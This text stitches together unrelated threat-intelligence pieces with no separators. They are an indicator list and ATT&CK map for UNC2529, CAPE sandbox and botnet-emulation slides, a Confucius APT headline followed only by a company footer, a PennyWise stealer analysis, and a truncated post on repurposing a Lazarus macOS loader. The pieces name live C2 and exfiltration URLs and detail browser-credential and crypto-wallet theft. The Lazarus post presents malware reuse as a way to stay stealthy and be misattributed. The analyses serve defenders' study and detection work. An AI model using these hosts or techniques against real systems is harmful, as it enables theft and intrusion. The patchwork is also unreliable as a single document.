The plugin encoding is implemented as a combination of rolling DWORD/BYTE XOR with initial value specified by the plugin_header_t.xor_val value. The plugins are expected to export at least two functions—one for initialization and another to clean up the resources before unloading. ## Additional Notes The first backdoor instance we observed back in December 2020 was stable and well-written code, but it was clearly a work in progress. For example, the early instance of the malware spawns a thread to secure delete the DOUBLEDROP dropper from disk, which indicates that an earlier variant of this malware launched a copy of the dropper from the file system. The backdoor would output debug information in a few cases using the OutputDebugString API. ## Conclusion Considerable resources were employed by UNC2529 to conduct their December phishing campaign. Almost 50 domains supported various phases of the effort, targets were researched, and a legitimate third-party domain was compromised. The threat actor made extensive use of obfuscation and fileless malware to complicate detection to deliver a well-coded and extensible backdoor. UNC2529 is assessed as capable, professional, and well-resourced. The identified wide-ranging targets, across geography and industry suggest a financial crime motive. DOUBLEBACK appears to be an ongoing work in progress, and Mandiant anticipates further actions by UNC2529 to compromise victims across all industries worldwide. ## Technical Indicators ### DOUBLEDRAG / BIFF8 **Files** | MD5 | Role | Wave | |--------------------------------------------------|---------------------------|------| | 39fc804566d02c35f3f9d67be52bee0d | DOUBLEDRAG | 1st | | 44f7af834ee7387ac5d99a676a03cfdd | DOUBLEDRAG | 1st | | 4e5583e34ad54fa7d1617f400281ba56 | PDF Decoy | 1st | | e80dc4c3e26deddcc44e66bb19b6fb58 | PDF Decoy | 1st | | 169c4d96138d3ff73097c2a9aab5b1c0 | Zip | 1st | | e70502d020ba707095d46810fd32ee49 | Zip | 1st | | 62fb99dc271abc104504212157a4ba91 | Excel BIFF8 macro | 2nd | | 1d3fcb7808495bd403973a0472291da5 | PDF Decoy | 2nd | | 6a1da7ee620c638bd494f4e24f6f1ca9 | Zip | 2nd | | a28236b43f014c15f7ad4c2b4daf1490 | Zip | 2nd | | d594b3bce66b8b56881febd38aa075fb | Zip | 2nd | **Domains** **Dec. 2, 2020 Wave** - adupla[.]net - ceylonbungalows[.]net - chandol[.]com - closetdeal[.]com - daldhillon[.]com - desmoncreative[.]com - farmpork[.]com - gemralph[.]com - isjustlunch[.]com - logicmyass[.]com - lottoangels[.]com - mangoldsengers[.]com - oconeeveteransmemorial[.]com - scottishhandcraft[.]com - seathisons[.]com - skysatcam[.]com - smartnhappy[.]com - stepearn[.]com - sugarmummylove[.]com - techooze[.]com - tigertigerbeads[.]com - totallyhealth-wealth[.]com **Dec. 11 to 18, 2020 Wave** - aibemarle[.]com - bestwalletforbitcoin[.]com - bitcoinsacks[.]com - digitalagencyleeds[.]com - erbilmarriott[.]com - ethernetpedia[.]com - fileamazon[.]com - gamesaccommodationscotland[.]com - greathabibgroup[.]com - infomarketx[.]com - jagunconsult[.]com - khodaycontrolsystem[.]com - maninashop[.]com - onceprojects[.]com - simcardhosting[.]com - stayzarentals[.]com - touristboardaccommodation[.]com - towncentrehotel[.]com - vacuumcleanerpartsstore[.]com - zmrtu[.]com ### DOUBLEDROP **MD5** - 4b32115487b4734f2723d461856af155 - 9e3f7e6697843075de537a8ba83da541 - cc17e0a3a15da6a83b06b425ed79d84c **URLs** - hxxp://p-leh.com/update_java.dat - hxxp://clanvisits.com/mini.dat - hxxps://towncentrehotels.com/ps1.dat ### DOUBLEBACK **MD5** - 1aeecb2827babb42468d8257aa6afdeb - 1bdf780ea6ff3abee41fe9f48d355592 - 1f285e496096168fbed415e6496a172f - 6a3a0d3d239f04ffd0666b522b8fcbaa - ce02ef6efe6171cd5d1b4477e40a3989 - fa9e686b811a1d921623947b8fd56337 **URLs** - hxxps://klikbets.net/admin/client.php - hxxps://lasartoria.net/admin/client.php - hxxps://barrel1999.com/admin4/client.php - hxxps://widestaticsinfo.com/admin4/client.php - hxxps://secureinternet20.com/admin5/client.php - hxxps://adsinfocoast.com/admin5/client.php ### Detections FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of exploitation or post-exploitation activities we associate with UNC2529. **Platforms** **Detection Name** - Network Security: FEC_Trojan_JS_DOUBLEDRAG_1 (static), FE_Trojan_JS_DOUBLEDRAG_1 (static) - Email Security: Downloader.DOUBLEDRAG (network) - Detection On Demand: Downloader.JS.DOUBLEDRAG.MVX (dynamic), FE_Dropper_PS1_DOUBLEDROP_1 (static) - Malware File Scanning: FEC_Dropper_PS1_DOUBLEDROP_1 (static), Dropper.PS1.DOUBLEDROP.MVX (dynamic) - Malware File Storage: FE_Backdoor_Win_DOUBLEBACK_1 (static), FE_Backdoor_Win_DOUBLEBACK_2 (static), FE_Backdoor_Win_DOUBLEBACK_3 (static), FE_Backdoor_Win_DOUBLEBACK_4 (static), Backdoor.Win.DOUBLEBACK (network), Malware.Binary.xls - Endpoint Security: Real-Time (IOC), POWERSHELL ENCODED REMOTE DOWNLOAD (METHODOLOGY), SUSPICIOUS POWERSHELL USAGE (METHODOLOGY), MALICIOUS SCRIPT CONTENT A (METHODOLOGY), POWERSHELL INVOCATION FROM REGISTRY ARTIFACT (METHODOLOGY) ### UNC2529 MITRE ATT&CK Mapping | ATT&CK Tactic Category | Techniques | |-------------------------------|------------| | Resource Development | Compromise Infrastructure (TT1584), Develop Capabilities (T1587), Digital Certificates (T1587.003), Obtain Capabilities (T1588), Digital Certificates (T1588.004) | | Initial Access | Phishing (T1566), Spearphishing Link (T1566.002) | | Execution | User Execution (T1204), Malicious Link (T1204.001), Command and Scripting Interpreter (T1059), Visual Basic (T1059.005), JavaScript/JScript (T1059.007) | | Privilege Escalation | Process Injection (T1055) | | Defense Evasion | Indicator Removal on Host (T1070), File Deletion (T1070.004), Obfuscated Files or Information (T1027), Process Injection (T1055), Modify Registry (T1112) | | Discovery | System Owner/User Discovery (T1033), Process Discovery (T1057), System Information Discovery (T1082), Account Discovery (T1087), Software Discovery (T1518) | | Collection | Screen Capture (T1113), Archive Collected Data (T1560), Archive via Utility (T1560.001) | | Command and Control | Application Layer Protocol (T1071), Web Protocols (T1071.001), Asymmetric Cryptography (T1573.002) | **Acknowledgements** Thank you to Tyler McLellan, Dominik Weber, Michael Durakovich, and Jeremy Kennelly for technical review of this content. In addition, thank you to Nico Paulo Yturriaga and Evan Reese for outstanding signature creation, and Ana Foreman for graphics support.
# End-to-end Botnet Monitoring ## Emulator – Sandbox Synergy - Emulator inputs: - Intelligence Requirements (IR’s) - C2 domains/IP addresses - RSA public keys - Priority Intelligence Requirements (PIR’s) - Version numbers - Specific Intelligence Requirements (SIR’s) - Sandbox inputs: - Fresh samples! ## Bots in the Sandbox ### Essential Capabilities - Automated Unpacking - Configuration Decoding/Parsing ## CAPE Sandbox “Config And Payload Extraction” - Open Source Project Intelligence Requirements - began 2015 (IR’s) - Derived from spender-sandbox - Itself derived from Cuckoo Sandbox (v1.3) in 2014 - Overlap with Cuckoo today minimal ## Parallels With Manual Approach - Dynamic analysis - Intelligence Requirements (IR’s) - Victim machine/malware lab - API monitor - Debugger - Dumper - Import reconstructor (PIR’s) - Static analysis - Disassembler for unpacked payload (SIR’s) - YARA for detection - Decoder or parser for configuration ## The Sharpest Tool in the Sandbox? ### The Debugger - Powerful tool allowing instruction-level control - Processor (hardware) breakpoints - 4 breakpoints on read/write/execute - Single-step mode - Trigger Actions: - Manipulate register/flag values - Dump payload or configuration - Set/clear further breakpoints - Set initial breakpoints via Yara signatures or API hooks ## Debugger-in-a-DLL - In-process debugger within monitor DLL - Processor (hardware) breakpoints (IR’s) - Debug registers Dr0 – Dr7 - 4 breakpoints (per thread) - EXCEPTION_SINGLE_STEP (PIR’s) - RtlDispatchException hook - SetThreadContext API (SIR’s) ## Debugger demo ### QakBot Instruction Trace & Anti-VM Bypass ## Family Packages - A whole package devoted to one malware family - Handle specific behaviours (IR’s) - Have to have seen family before (PIR’s) - Future versions of family may break package (SIR’s) ## Behavioural Packages - Capture payloads for a given behaviour: - Injection into other processes - Extraction of code (IR’s) - Decompression of code - Not dependent on signatures or having seen malware before (PIR’s) - Captured payloads can then be detected by Yara signatures - If the extracted/injected payloads contain configuration data (SIR’s): - Yara signature triggers configuration parser ## ‘Compression’ Package - Simplest package - Captures PE payload decompressed by RtlDecompressBuffer function: ```c HOOKDEF(NTSTATUS, WINAPI, RtlDecompressBuffer, CompressionFormat, UncompressedBuffer, UncompressedBufferSize, CompressedBuffer, CompressedBufferSize, FinalUncompressedSize) { NTSTATUS ret = Old_RtlDecompressBuffer(CompressionFormat, UncompressedBuffer, UncompressedBufferSize, CompressedBuffer, CompressedBufferSize, FinalUncompressedSize); if (NT_SUCCESS(ret)) { DoOutputDebugString("RtlDecompressBuffer hook: scanning region 0x%x size 0x%x for PE image(s).\n", UncompressedBuffer, *FinalUncompressedSize); DumpPEsInRange(UncompressedBuffer, *FinalUncompressedSize); } return ret; } ``` ## ‘Injection’ Package - Captures payloads injected into other processes - Uses API hooks (IR’s) - Track newly created processes and threads - Injected directly - Process hollowing (PIR’s) - Dumps prior to execution (SIR’s) ## ‘Extraction’ Package - Captures payloads ‘extracted’ inside processes - Tracks executable memory regions (IR’s) - Newly allocated - New executable permissions - Uses debugger breakpoints (PIR’s) - Write breakpoints - Execution breakpoints (SIR’s) ## Emotet ### Intelligence Requirements - Priority Intelligence Requirements - Specific Intelligence Requirements ## Emotet Automated Unpacking - AllocationHandler: Adding allocation to tracked region list: 0x003E0000, size: 0x11000. - ActivateBreakpoints: TrackedRegion -> AllocationBase: 0x003E0000, TrackedRegion->RegionSize: 0x11000, thread 2664 - SetDebugRegister: Setting breakpoint 0 (SIR’s) ## QakBot - Extraction package extracts: - Main executable payload (IR’s) - DLL embedded in resources (PIR’s) ## QakBot Config Extraction - Dedicated family package triggered - Breakpoints: - Anti-VM bypass (IR’s) - Dump 2 x config region (PIR’s) ## The Future… - CAPE v2 just released - Python 3 - A huge thank you to Andriy Brukhovetskyy (@d00m3dr4v3n) – FireEye - Behavioural packages combined (PIR’s) - Enabled by default - Reduce executions to maximum of 2 (SIR’s) - Expanded Debugger options ## Ursnif/ISFB ```yara rule Ursnif3 { meta: cape_type = "Ursnif Payload" cape_options = "dll=Debugger.dll,step-out=$crypto32, dumpsize=eax,action0=dumpebx, dumptype0=0x24, base-on-api=RtlAddVectoredExceptionHandler, dump-on-api=RtlAddVectoredExceptionHandler, dump-on-api-type=0x25" strings: $crypto32 = {8B C3 83 EB 01 85 C0 75 0D 0F B6 16 83 C6 01 89 74 24 14 8D 58 07 8B C2 C1 E8 07 83 E0 01 03 D2 85 C0 0F 84 AB 01 00 00 8B C3 83 EB 01 85 C0 89 5C 24 20 75 13 0F B6 16 83 C6 01 BB 07 00 00 00} $golden_ratio = {8B 70 EC 33 70 F8 33 70 08 33 30 83 C0 04 33 F1 81 F6 B9 79 37 9E C1 C6 0B 89 70 08 41 81 F9 84 00 00 00} condition: uint16(0) == 0x5A4D and (all of them) } ``` ## Botnet Emulator Framework ### Why emulation? - Botnet participation allows retrieval of artefacts and context unavailable from samples - Long-term tracking of targeting and operational details - Vetting indicators with high-fidelity - Synergy with config extraction for class of malware with features unavailable in ordinary sandbox detonation ### Architecture ### Data Retention - Less data than you think to store years of botnet interactions - Save everything! verbose logging, HTTP sessions, etc. - Database is under 100 GB - Local EBS volume is 100 GB - S3 storage is 230 GB ### Cost - EC2: $30/mo - RDS: $60/mo - S3: $5/mo - EBS: $10/mo - VPS: $30/mo - VPN: $20/mo - Total: $255 per month ### OPSEC - Make traffic and behaviour near replica of actual bot - Generate plausible but contrived metadata (e.g., computer and domain names) - Withstand competent non-state investigation - Non-attributable infrastructure unless subject to subpoena - Log timestamps and egress IP addresses for future correlation ### Network Egress - Use a combination of Tor, VPS, and commercial VPNs - Geographic diversity is great for empirically finding geofencing - Simple round robin is largely suitable - VPN microservice allows an emulator to request specific regions/countries and capabilities ### Working with Commercial Providers - Don’t (intentionally) trash someone else’s IP space - VPNs WILL ban you (no refund) - Beware the Internet do-gooder - Few if any allow outbound TCP 25 (necessary for Cutwail) - By product is good intel source of VPN exit nodes ### Action on Data - “ChatOps” notifications to analysts - Email distribution lists (third-parties, LE, working groups) - Intelligence platforms - High fidelity blacklists ### Pitfalls: SOCKS Proxy - OpenSSH SOCKS5 server is unstable during high throughput - Use Dante, open source SOCKS5 server - Protect with iptables and configuration-level filters and authentication ### Pitfalls: Custom HTTP Library - Reasons to not use Requests: - Protocol violations - Absent SOCKS support - Custom header ordering - Provide IP address for request - Access to endpoint SSL certificate ### Pitfalls: Neglect DNS Data - Nature of system allows tracking of DNS resolutions over time - Augment this data with passive DNS (Farsight) - Useful for C2 with flaky DNS but stable hosting - Need to be careful with C2 living in fast-flux systems ### Pitfalls: Neglect SSL Certificates - Save unique certificates as they appear and associate with IP - Flowsynth to generate PCAP from X.509, check coverage - Augment other data sets like Censys, Shodan, or SONAR ### Pitfalls: Dealing with Sinkholes - Regularly retrieve sinkhole list from abuse.ch SinkDB - Detect common sinkhole-related HTTP features - Avoiding sinkholes saves execution times and prevents poisoning other researchers’ data ### Pitfalls: Data Pruning - Always prune your list of C2 servers - General formula: has the C2 accepted connections in two weeks? Given a valid response in past month? ### PITFALLS: “SKIN DEEP” EMULATION - Register bot, interrogate C2, dispose of bot - Instead, store registered bots and periodically reconnect them to create pool of long-lived “infections” - Good way to get additional payloads to “mature” bots
# Confucius APT Android Spyware Targets Pakistani and Other South Asian Regions Confucius APT Android Spyware has been identified as targeting Pakistan and other regions in South Asia. ## Offices We’re remote-friendly, with office locations around the world: San Francisco, Atlanta, Rome, Dubai, Mumbai, Bangalore, Singapore, Jakarta, Sydney, and Melbourne. ### USA: Cyble, Inc. 11175 Cicero Drive Suite 100 Alpharetta, GA 30022 contact@cyble.com +1 678 379 3241 ### Australia: Cyble Pty Limited Level 32, 367 Collins Street Melbourne VIC 3000 Australia contact@cyble.com +61 3 9005 6934 ### UAE: Cyble Middle East FZE Suite 1702, Level 17, Boulevard Plaza Tower 1, Sheikh Mohammed Bin Rashid Boulevard, Downtown Dubai, Dubai, UAE contact@cyble.com +971 (4) 4018555 ### India: Cyble Infosec India Private Limited A 602, Rustomjee Central Park, Andheri Kurla Road Chakala, Andheri (East), Maharashtra Mumbai-400093, India contact@cyble.com +1 678 379 3241 ### Singapore: Cyble Singapore Private Limited 38 North Canal Road, Singapore 059294 contact@cyble.com +1 678 379 3241
# PennyWise Stealer: An Evasive Infostealer Leveraging YouTube to Infect Users **June 30, 2022** ## Multi-Threading Approach Used for Rapid Exfiltration During our routine Threat-Hunting exercise, Cyble Research Labs came across a new stealer named “PennyWise” shared by a researcher. The stealer appears to have been developed recently. Though this stealer is fresh, the Threat Actor(s) (TA) has already rolled an updated version, 1.3.4. Our investigation indicates that the stealer is an emerging threat, and we have witnessed multiple samples of this stealer active in the wild. In its current iteration, this stealer can target over 30 browsers and cryptocurrency applications such as cold crypto wallets, crypto-browser extensions, etc. The stealer is built using an unknown crypter which makes the debugging process tedious. It uses multithreading to steal user data and creates over 10 threads, enabling faster execution and stealing. ## Initial Infection: Spreading via YouTube The TA spreads this PennyWise stealer as free Bitcoin mining software. The TA has created a video on YouTube containing the link to download the malware. In this campaign, the users who look for Bitcoin mining software may become victims of PennyWise stealer. When a user visits the link, the TA instructs them to download the malware hosted on the file hosting service. The malware file is zipped and password protected. To appear legitimate, the TA has shared a VirusTotal link of a clean file that is not related to the file available for download. The TA also tricks the users into disabling their antivirus for successful malware execution. The zip file contains an installer that drops the PennyWise stealer, executes it, and finally, the stealer exfiltrates the victim’s data to the C&C server. As per our observations, the TA has created over 80 videos on their YouTube channel for mass infection. We have also observed a few download links from the TA’s YouTube Channel that spread PennyWise stealer. ## Technical Analysis The infection starts with the loader (SHA256: e43b83bf5f7ed17b0f24e3fb7e95f3e7eb644dbda1977e5d2f33e1d8f71f5da0) which injects the PennyWise stealer into a legitimate .NET binary named “AppLaunch.exe” using a technique called “process hollowing.” The .NET binary (SHA256: 3bbd6cdbc70a5517e5f39ed9dfad0897d5b200feecd73d666299876e35fa4c90) is injected into AppLaunch.exe which is the actual payload of PennyWise stealer. The PennyWise stealer has encoded strings that are decoded during the initial execution of malware. Upon execution, the stealer initializes the variables that support the stealing functionality. The values are decoded and assigned to these variables during runtime, as shown in the table below. | Name | Value | Description | |------------|-----------------------------------------------------------------------|--------------------------------------| | string_0 | 1.3.4 | Stealer Version | | string_1 | 0 | Flag | | string_2 | CRYPTED:ygBdfUqyTjr827lyAL47dg== | Encrypted TA name | | string_3 | 9D16FBEF0D8A8F87529DE06A1C43C737 | Mutex name | | string_4 | 0 | Flag | | string_5 | 1 | Flag | | string_6 | 7 | Integer Value | | string_7 | 1 | Flag | | string_8 | 0 | Flag | | string_9 | 1 | Flag | | string_10 | 0 | Flag | | string_11 | — CreateChannel — | String | | string_12 | 1 | Flag | | string_13 | CRYPTED:vuw8jLF2e/Ljzrqrw2oAEBJLqFB8KtttiM5T7ns | Encrypted C2 URL | | dictionary_0 | Document: R TF, Doc, Docx, txt, json Files stealer will be stealing | | The stealer then creates a mutex named “9D16FBEF0D8A8F87529DE06A1C43C737” to ensure that only one instance of malware is running at any given time on the victims’ machine. The malware terminates its execution if the mutex is already present. The malware then gets the path of the targeted browsers for stealing user data. It targets the following browsers: - 30+ Chrome-based browsers - 5+ Mozilla-based browsers - Opera - Microsoft Edge Once the browser path is obtained, the malware fetches username, machine name, system language, and timezone details from the victim’s system. In this case, the malware converts the timezone into Russian Standard Time (RST). The malware then retrieves the system language code using the CultureInfo class and gets the graphic driver and processor names of the victim’s machine using a WMI query. After this, it creates a string in the format to generate an MD5 hash: “mutex_name-Username-Machine_Name-Language_code-Processor_name-Graphics_Driver_Name.” The hash value will be used to name a folder created with hidden attributes in the AppData\Local directory and save the stolen data. The malware tries to identify the victim’s country using the CultureInfo class and terminates its execution if the victim is based outside the following locations: - Russia - Ukraine - Belarus - Kazakhstan This could indicate that the TA is trying to avoid scrutiny by Law Enforcement Agencies in these particular countries. The malware performs multiple Anti-Analysis and Anti-Detection checks to prevent the execution of the malware in a controlled environment. It uses Win32_ComputerSystem class to detect any virtual machine. Then, it checks for the following Dynamic-Link Library (DLL) files to identify the presence of antivirus applications and sandbox environments: - SbieDll: Sandboxie - SxIn: 360 Total Security - Sf2: Avast Antivirus - Snxhk: Avast Antivirus - cmdvrt32: COMODO It also checks the running processes in the victims’ machine and terminates its execution if the following processes are running: - processhacker - netstat - netmon - tcpview - wireshark - filemon - regmon - cain - httpanalyzerstdv7 - fiddler - fiddler everywhere - httpdebuggersvc After this, the malware decrypts string_2 and string_13, which are encrypted using the Rijndael algorithm. These strings possibly contain the TA’s user name and Command & Control (C&C) URL. The malware then creates a folder under the folder which was created initially in the Appdata\Local directory in the following format: “UserName@MachineName_Language_code_Year_Month_Date_Hour_Minute_Second@StealerVersion.” The malware uses multithreading to steal data from the victim’s system. Every individual thread is responsible for performing a different operation, such as stealing the victim’s files, harvesting Chromium/Mozilla browser data, stealing the browser’s cryptocurrency extension data, taking screenshots, stealing sessions of chat applications, etc. The malware creates over 10 threads and executes them using Thread.Start() method. The malware only steals files smaller than 20KB and has RTF, Doc, Docx, txt, and JSON extensions which are saved in a folder named “grabber.” Using the Directory.Exists() method, the malware identifies whether a targeted browser is present in the victims’ machine and steals data if these browsers are found. The malware steals data from Chromium and Mozilla-based browsers using the following method: - The sensitive user data, such as login credentials and cookies, stored in Chromium-based browsers is present in an encrypted form. The malware enumerates and gets the names of all files in the “Browser-name\User Data\” folder and checks for the “Local State” file, which stores the encrypted key. The CryptUnprotectData() function decrypts the encrypted key, which will now be used to decrypt the login data file containing all users’ credentials. - In Mozilla-based browsers, the malware targets certain SQLite files named “cookies.sqlite,” “key4.db,” etc., which store data such as encryption keys and master passwords for login.json. The login.json file will be decrypted using these keys containing user credentials. The stolen cookies from browsers are saved into a file named “[browser name_Default]_Cookies.txt.” For stealing Discord tokens, the malware targets the following directories: - Discord\Local Storage\leveldb - Discord PTB\Local Storage\leveldb - Discord Canary\leveldb The malware steals Telegram sessions by copying files from the “Telegram Desktop\tdata” folder. It also fetches the list of running processes using the Process.GetProcesses method and writes the data, including Process Name, PID, and execution path, to the “Processes.txt” file. The malware takes a screenshot of the victim’s system and stores it as a file named “Screenshot.jpg.” It creates a file named “Information.txt” that saves data such as location, details of the victim’s system, hardware details, antivirus, stealer version, victim’s unique ID, and date. The malware queries the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall to find the list of installed applications and write this data to a file named “Software.txt” in the following format: - Application - Version - Location The stealer queries the registry to identify the location of cryptocurrencies such as Litecoin, Dash, and Bitcoin. It obtains the path from registry data “strDataDir” in the HKEY_CURRENT_USER\Software\Blockchain_name\ Blockchain_name-Qt registry key. It targets cold crypto-wallets such as Zcash, Armory, Bytecoin, Jaxx, Exodus, Ethereum, Electreum, Atomic Wallet, Guarda, and Coinomi. To steal data from these wallets, the malware looks for wallet files in the directory and copies them for exfiltration. This malware also targets crypto extensions of Chromium-based browsers for stealing data. The malware then compiles the count for harvested data. Additionally, it compresses the folder in which the stolen data was saved and exfiltrates it to “http://185.246.116.237:5001/getfile.” This folder is then deleted, removing all traces. ## Conclusion PennyWise is an emerging stealer which is already making a name for itself. We have witnessed multiple samples of PennyWise out in the wild, indicating that Threat Actors may already be deploying it. Though there is not much information regarding its adoption by cybercriminals at the moment, in the future, we may see new variants of this stealer and observe further samples in the wild. ## Our Recommendations - Avoid downloading pirated software from unverified sites. - Use strong passwords and enforce multi-factor authentication wherever possible. - Keep updating your passwords after certain intervals. - Use a reputed anti-virus and internet security software package on your connected devices, including PC, laptop, and mobile. - Refrain from opening untrusted links and email attachments without first verifying their authenticity. - Block URLs that could be used to spread the malware, e.g., Torrent/Warez. - Monitor the beacon on the network level to block data exfiltration by malware or TAs. - Enable Data Loss Prevention (DLP) Solutions on employees’ systems. ## MITRE ATT&CK® Techniques | Tactic | Technique ID | Technique Name | |---------------------------|--------------|--------------------------------------------------| | Execution | T1204 | User Execution | | Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | | | T1497 | Virtualization/Sandbox Evasion | | | T1055.012 | Process Injection: Process Hollowing | | Credential Access | T1555 | Credentials from Password Stores | | | T1539 | Steal Web Session Cookies | | | T1552 | Unsecured Credentials | | | T1528 | Steal Application Access Token | | Collection | T1113 | Screen Capture | | Discovery | T1518 | Software Discovery | | | T1124 | System Time Discovery | | | T1007 | System Service Discovery | | Command and Control | T1071 | Application Layer Protocol | | Exfiltration | T1041 | Exfiltration Over C2 Channel | ## Indicators of Compromise (IOCs) | Indicators | Indicator Type | |---------------------------------------------------------------------------|----------------| | http://185.246.116.237:5001/getfile | URL | | eef01a6152c5a7ecd4e952e8086abdb3 | Md5 | | fd3c1844af6af1552ff08e88c1553cc6565fe455 | SHA-1 | | e43b83bf5f7ed17b0f24e3fb7e95f3e7eb644dbda1977e5d2f33e1d8f71f5da0 | SHA-256 | | 66502250f78c6f61e7725a3daa0f4220 | Md5 | | 8cfc5d40a8008e91464fd89a1d6cb3a7b3b7a282 | SHA-1 | | 05854ea1958ef0969a2c717ce6cb0c67cd3bcd327badac6aa7925d95a0b11232 | SHA-256 | | a1249d31ea72e00055286c94592bc0e3 | Md5 | | 8644ac0cc1a805f1682a0b0f65052a1835e599b1 | SHA-1 | | 01c83c32ab5c2f0fda5c04aee7b02dc30d59c91c1db70e168a6cc1215cc53ab7 | SHA-256 | | e062fedb25bbf55894711100c35130c1 | Md5 | | b28568c19eaafd0e8212b81ea7b87340554e1340 | SHA-1 | | c5e9d0aa26ca6255559708bcf957d79e3adb4d2b08146cd765182f7b834227f4 | SHA-256 | | f71d077c9889d005c8c71f3a2fe20fd0 | Md5 | | 2ba8275af7b7708a7f79bb442c980ec3d3c04b91 | SHA-1 | | dcd2c2073c227e5b496ca0cb13e31d18b45899dca0de1633f2eeb25d264258de | SHA-256 | | a6064cd1760ea08973b20bdc0e7ea699 | Md5 | | c5f3342e9fcc159eef81a459d54eb7b6ce80feb1 | SHA-1 | | bc709e3aea5732c3d07c7f59ea22f8a5c026e45558d0e2aa3fb35ac78f39d9f4 | SHA-256 | | c9ac6deb0ef78785d469033117411e3d | Md5 | | 15622e8ec3ec4c29f09b3871678199599d285e43 | SHA-1 | | 0eb43cef2e674aa72b24cccd36b349ce0e4eb347c0fbf373bc53c97713e8e94f | SHA-256 | | da9f8ec6d3337315435fa9d9d7868980 | Md5 | | ebf6edd68e97bd13d4ed3e878c7bd11dfb5a628c | SHA-1 | | 117d5155fe3659a816f10faf859ff68c6094457eb1902d6699df74fac309befd | SHA-256 | | d72619b4ededa0f8cfe9554557bf2c7f | Md5 | | ee456a4b32eff2eddf14c6ae5385d977081308b4 | SHA-1 | | 4da90f77a26a16eee48cb73ca920e681974554be0d87a225e7ad9416adbf34c6 | SHA-256 | | 215c203f7f3e3f63c5ae9e35d8625463 | Md5 | | b6bfbbd9c49cc94e4fcab413f62a12bb23485cdf | SHA-1 | | bc51e019e91bbb8e704ee4b7027dab4f7168b3b4e947e83d43bf4c488aa2b612 | SHA-256 | | ece1ffba058735ab9521ee1ed5cf969c | Md5 | | 35a06ba7f2cffaf5c2f97c7fe02d235c6317ebf2 | SHA-1 | | 6dbeb13c7efbd62561bf2fea3b1e3d36021e701b80a993e28498182d0884ce6f | SHA-256 | | f0807f8ec6349d726b19713ece98c57b | Md5 | | e341cd9abfca8e02bef0d0af94343949a23ce6c4 | SHA-1 | | bf46b901e1899533629b751f28bd4adab3f11f0ddf8b509c9f90af25a1a73b5b | SHA-256 | | 88facb451a849d37a272ab9a7a83a47c | Md5 | | 27c66fa23f8af20be0234f95b35e64ccea7d73ae | SHA-1 | | 5b11938d67a8a0c629bf4ec1f8b77c6ba0910546984d4d983f43a25d4e7b72ac | SHA-256 |
# Weaponizing a Lazarus Group Implant ## Repurposing a 1st-stage loader to execute custom 'fileless' payloads by: Patrick Wardle / February 22, 2020 --- ### Background Recently, a new piece of macOS malware was discovered: Another #Lazarus #macOS #trojan **md5:** 6588d262529dc372c400bef8478c2eec **hxxps:** unioncrypto.vip/ Contains code: Loads Mach-O from memory and executes it / Writes to a file and executes it. In a previous blog post, I analyzed this intriguing specimen (internally named macloader), created by the (in)famous Lazarus group. This post highlighted its: - **Persistence:** /Library/LaunchDaemons/vip.unioncrypto.plist -> /Library/UnionCrypto/unioncryptoupdater - **Command and Control (C&C) Server:** https://unioncrypto.vip/update - **Capabilities:** The in-memory execution of remotely downloaded payloads. For a full technical analysis of the sample, read my writeup: “Lazarus Group Goes ‘Fileless’”. While many aspects of the malware, such as its (launch daemon) persistence mechanism, are quite prosaic, its ability to directly execute downloaded (“2nd-stage”) payloads from memory is rather unique. Besides increasing stealth and complicating forensic analysis of said payloads (as they never touch the file system), it’s just plain sexy! It also makes for the perfect candidate for “repurposing”, which is what we’ll walk through today. ### Repurposing Malware At DefCon #27, I gave a talk titled, “Harnessing Weapons of Mac Destruction”, which detailed the process of repurposing (or “recycling”) other people's Mac malware. In a nutshell, the idea is to take existing malware and reconfigure it for your own surreptitious purposes (i.e. testing, red-teaming, offensive cyber-operations, etc). The talk also covered the many benefits of repurposing others’ malware; benefits that basically boil down to the fact that various well-funded groups and agencies are creating fully-featured malware, so why not leverage their hard work in a way that, if discovered, will likely be misattributed back to them? The Lazarus group’s malware we’re looking at today is a perfect candidate for repurposing. Why? As a 1st-stage loader, it simply beacons out to a remote server for 2nd-stage payloads (which, as noted, are executed directly from memory). Thus, once we understand its protocol and the expected format of the payloads, it should be rather trivial to repurpose the loader to communicate instead with our server, and thus stealthily execute our own 2nd-stage payloads! This gives us access to an advanced 1st-stage loader that will execute our custom payloads (from memory!) without us having to write a single line of (client-side) code. Better yet, as the repurposing modifications will be minimal, if this repurposed sample is ever detected, it surely will be misattributed back to the original authors (and as our 2nd-stage payloads never hit the file system, will more than likely remain undetected). ### Repurposing Lazarus’s Loader After identifying a malware specimen to repurpose, the next step is to comprehensively understand how it works. The goal of this analysis phase is to: - Identify the method of persistence - Understand the capabilities / payload - Identify the command & control server - Understand the communications protocol In a previous blog post, “Lazarus Group Goes ‘Fileless’”, we thoroughly analyzed the sample and answered the majority of these questions. However, I did not discuss the malware’s communications protocol, specifically the format of the response from the remote server—the response that contains the 2nd-stage payload(s). To facilitate dynamic analysis and to understand the malware protocol, I created a simple Python HTTPS server that would respond to the malware’s requests. Although I did not know the expected format of the data, trial and error (plus a healthy dose of reverse-engineering) proved sufficient! ```python # python server.py [+] awaiting connections [+] new connection from 192.168.0.2: ======= POST HEADERS ======= Host: unioncrypto.vip Accept: */* auth_signature: ca57054ea39f84a6f5ba0c65539a0762 auth_timestamp: 1581048662 Content-Length: 62 Content-Type: application/x-www-form-urlencoded ======= POST BODY ======= MiniFieldStorage('act', 'check') MiniFieldStorage('ei', 'Mac OS X 10.15 (19A603)') MiniFieldStorage('rlz', 'VMI5EOhq8gDz') MiniFieldStorage('ver', '1.0') [06/Feb/2020 20:11:08] "POST /update HTTP/1.1" 200 - ``` Armed with a simple custom C&C server to respond to the malware’s requests, we can begin to understand the network protocol, with the ultimate goal of understanding how the 2nd-stage payloads should be remotely delivered to the malicious loader on infected systems. First, we note that on check-in, the malware provides some basic information about the infected system (e.g. the macOS version/build number: Mac OS X 10.15 (19A603), serial number: VMI5EOhq8gDz, etc.), and implant version ('ver', '1.0'). Moving on, we can hop into a disassembler to look at the malware’s code responsible for connecting to the C&C server and parsing/processing the server’s response. In the malware’s disassembly, we find a function named `onRun()` that invokes a method named `Barbeque::post`. This method connects to the remote server (https://unioncrypto.vip/) and expects the server to respond with an HTTP 200 OK. Otherwise, it takes a nap (before trying again): ```c int onRun() { ... //connect to server Barbeque::post(...); if(response != 200) goto sleep; } ``` Assuming our server responds with an HTTP 200 OK, the malware checks that at least 0x400 bytes were received before base64-decoding said bytes: ```c int onRun() { ... //rdx: # of bytes // make sure at least 0x400 bytes were 